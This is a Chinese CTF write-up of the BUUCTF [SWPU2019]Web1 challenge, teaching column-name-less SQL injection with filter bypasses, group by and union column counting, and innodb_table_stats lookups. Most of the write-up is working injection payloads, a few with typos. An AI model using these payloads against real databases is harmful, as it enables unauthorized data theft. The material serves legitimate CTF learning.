CTF例题:[SWPU2019]Web1(无列名注入)

网址:BUUCTF在线评测

搜索web1

启动靶机

 点击链接进入题目

 进入题目后发现有登录和注册接口,直接注册登录。

首先通过1'进行测试,查看是否有注入点

出现报错,说明可能存在注入点

 然后继续测试发现该服务器过滤了:

or、information、join、and、#、空格

 由于or被过滤无法使用order by爆出列数

方法一:可以使用group by进行列数的爆出,空格使用/**/替换

1' /**/group/**/by/**/(1-23),'1                        '1在group by中不算一列

从第一列依次往后测试列数,直到当列数为23时,出现报错,报错如下

此时说明该列已经超出该表的列数了,由此得出该表列数为22列

方法二:使用联合查表一次次测试出列数(比方法一较为麻烦)需要将列依次写下去,如:

 1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,'1   '1在联合查询中算一列

当select后面的列数与该表不对会报出以下错误(提示列数不一致): 

 当测试到与该表有相同列数时(即22列)

由上图可知,该表由22列,且数据爆出在2,3位,所以可以通过在2,3位上使用函数进行对需要的信息进行查询

1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/&&/**/'1'='1

找到数据库名

数据库名知道后,继续通过联合查询找出表名,但过滤了information和and所以可以通过mysql.innodb_table_stats和&&进行替换

-1'/**/union/**/select/**/1,concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='web1'/**/&&/**/'1'=1'

表名显示不全,可以通过group_concat()函数将表名显示出来

-1'/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='web1'/**/&&/**/'1'='1

首先对表ads进行查询,但不知道列名,又因过滤了join所以无法使用重复报错将列名回显出来,但是知道列数,所以不找列名,直接查询


-1'/**/union/**/select /**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/ b,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/union/**/select/**/*/**/from /**/ads)as/**/a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/&&/**/'1'='1---查2

-1' union select 1,(select group_concat(b) from (select 1,2 ,3 as b,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 union select * from ads)as a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1---查3

在表ads中都没有需要的信息,所以换成users表,但不知道users表的列数,

1'/**/union/**/select/**/1,(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,10,21,22/**/&&/**/‘1’=‘1    ---通过修改列数(/**/1,2,3/**/),依次去查询users表的列数

测试之后查询到users表位3列,由此继续查询(注意别名)

1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)as a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,10,21,22/**/&&/**/’1‘=’1---查出users的列名,但没有想要的信息

1'/**/union/**/select/**/1,(select/**/group_concat(c)/**/from/**/(select/**/1,2,3/**/as/**/c/**/union/**/select/**/*/**/from/**/users)as a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,10,21,22/**/&&/**/‘1’=‘1---查看第三列,最终得到
 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/627025.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Android 逆向

一、apk 查壳工具 ApkScan-PKID 相关APK文件可以在 豌豆荚 官网下载 ApkScan-PKID查壳工具 下载 - 简书 (jianshu.com) 二、脱壳工具:frida 1、Android端配置 frida-server: 该步骤需要使用到 adb,操作Android文件 Releases frida/frid…

前端已死? Bootstrap--CSS组件

目录 Bootstrap 下载 Bootstrap--全局CSS样式 栅格系统 栅格参数 正常显示 实例 代码演示: 排版 代码演示 表格 代码演示 表单 代码演示 等等...(文档很清晰了) Bootstrap--组件 结合演示:(页面) Bootstrap Bootstrap v3 中文文档 Bootstrap 是最受欢迎的 HT…

ubuntu18.04 运行ur5机械臂

视觉抓取初探索1-UR5机械臂抓取仿真 - 知乎 抓取不止!Ubuntu 18.04下UR5机械臂搭建Gazebo环境|开源分享_哔哩哔哩_bilibili 源码地址:GitHub - Geo-JTao/UR5_gripper_camera_gazebo: 在Ubantu18.04中搭建Gazebo仿真环境 遇到问题&#xff1…

Volatile解决内存不可见性

一、多线程下变量的不可见性 在多线程并发执行下,多个线程修改共享的成员变量,会出现一个线程修改了共享变量的值后,另一个线程不能直接 看到该线程修改后的变量的最新值。 我们首先让子线程去更改变量flag的值为true,主线程通过判断后执行。…

运维别卷系列 - 云原生监控平台 之 04.prometheus 查询语句 promql 实践

文章目录 [toc]PromQL 简介什么是时间序列 PromQL 数据类型即时向量 Instant vector范围向量 Range vectorTime DurationsOffset modifier modifier 浮点值 Scalar字符串 String PromQL FUNCTIONSfloor()irate()rate()round()sort()sort_desc() PromQL 运算符算术运算符比较运算…

C语言中的循环队列与栈、队列之间的转换实现

引言 在数据结构的学习中,栈(Stack)和队列(Queue)是两个非常重要的概念。它们分别遵循着后进先出(LIFO)和先进先出(FIFO)的原则。在某些情况下,我们可能需要…

用友NC printBill 任意文件读取/删除漏洞复现(XVE-2024-10609)

0x01 产品简介 用友NC是一款企业级ERP软件。作为一种信息化管理工具,用友NC提供了一系列业务管理模块,包括财务会计、采购管理、销售管理、物料管理、生产计划和人力资源管理等,帮助企业实现数字化转型和高效管理。 0x02 漏洞概述 用友NC printBill 接口处存在任意文件读…

PDF编辑阅读器PDF Expert for Mac v3.10.1中文激活版

PDF Expert for Mac是一款易于使用的 PDF 编辑器和注释器,专为 Mac 设备设计。它允许用户轻松查看、编辑、签名、注释和共享 PDF。该软件使用户能够向他们的 PDF 添加文本、图像、链接和形状,突出显示和标记文本,填写表格以及签署数字文档。它…

02-结构型设计模式(共7种)

1. Adapter(适配器模式) 适配器模式是一种结构型设计模式,它允许将一个类的接口转换成客户端所期望的另一个接口。这种模式通常用于解决接口不兼容的情况,使得原本由于接口不匹配而无法工作的类可以一起工作。 在 C 中,适配器模式可以通过类适…

数学建模——线性回归模型

目录 1.线性回归模型的具体步骤和要点: 1.收集数据: 2.探索性数据分析: 3.选择模型: 4.拟合模型: 5.评估模型: 1.R平方(R-squared): 2.调整R平方(Ad…

Windows11系统配置WSL2网络使它支持LAN访问

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、WSL2安装二、使用步骤1.NAT2.镜像 三、写在最后总结 前言 WSL2的出现感觉真的是一个惊喜,又想玩Linux,又怕日用搞不了的最佳替代方…

TreeMap详解:Java 有序 Map 原理与实现

哈喽,各位小伙伴们,你们好呀,我是喵手。运营社区:C站/掘金/腾讯云;欢迎大家常来逛逛 今天我要给大家分享一些自己日常学习到的一些知识点,并以文字的形式跟大家一起交流,互相学习,一…

[初学者必看]JavaScript 简单实际案例练习,锻炼代码逻辑思维

文章目录 创意小项目合集:从简易图片轮播到购物车1. 图片轮播器2. 动态列表3. 模态框(Modal)4. 简单的表单验证5. 简易待办事项列表(Todo List)6. 简易图片画廊7. 简易时钟8. 简易搜索框高亮9. 简易颜色选择器10. 简易…

【知识碎片】2024_05_14

本篇记录了两道关于位运算的选择题,和一道有点思维的代码题。 C语言碎片知识 求函数返回值,传入 -1 ,则在64位机器上函数返回( ) int func(int x) {int count 0;while (x){count;x x&(x - 1);//与运算} return c…

java项目之实验室管理系统(springboot+vue+mysql)

风定落花生,歌声逐流水,大家好我是风歌,混迹在java圈的辛苦码农。今天要和大家聊的是一款基于springboot的实验室管理系统。项目源码以及部署相关请联系风歌,文末附上联系信息 。 项目简介: 实验室管理系统的主要使用…

OpenAI 推出革命性新模型 GPT-4o:全能AI的新纪元

GPT-4o 模型的推出预示着人工智能领域的又一次飞跃,它将如何改变我们的世界? 在人工智能的快速发展浪潮中,OpenAI 再次站在了技术革新的前沿。2024年5月14日,OpenAI 宣布了其最新旗舰模型 GPT-4o,这不仅是一个简单的版…

2024CCPC全国邀请赛(郑州)暨河南省赛

2024CCPC全国邀请赛(郑州站)暨河南省赛 一铜一银,虽不是线下第一次参赛但是第一次拿xcpc奖牌,还有个国赛奖真是不戳。感谢学长,感谢队友! 虽然遗憾没有冲到省赛金,不过还有icpc商丘&#xff08…

HTTP基础概念和HTTP缓存技术

什么是HTTP HTTP是超文本传输协议,主要分为三个部分:超文本、传输、协议。 超文本是指:文字、图片、视频的混合体。传输是指:点与点之间的信息通信。协议是指:通信时的行为规范或约定 HTTP常见字段 字段名 解释 例…

Android存储文件路径的区别

一、Android存储简介 Android系统分为内部存储和外部存储 从Android6.0开始不断在更新存储权限 外部存储路径的开头:storage/emulated/0 内部存储文件路径的开头:/data/user/0/应用的包名(packageName) 在设备上对应的目录为/data…

Leetcode2105. 给植物浇水 II

Every day a Leetcode 题目来源:2105. 给植物浇水 II 解法1:双指针 设 Alice 当前下标为 i,初始化为 0,水量为 a,初始化为 capacityA;Bob 当前下标为 j,初始化为 n-1,水量为 b&am…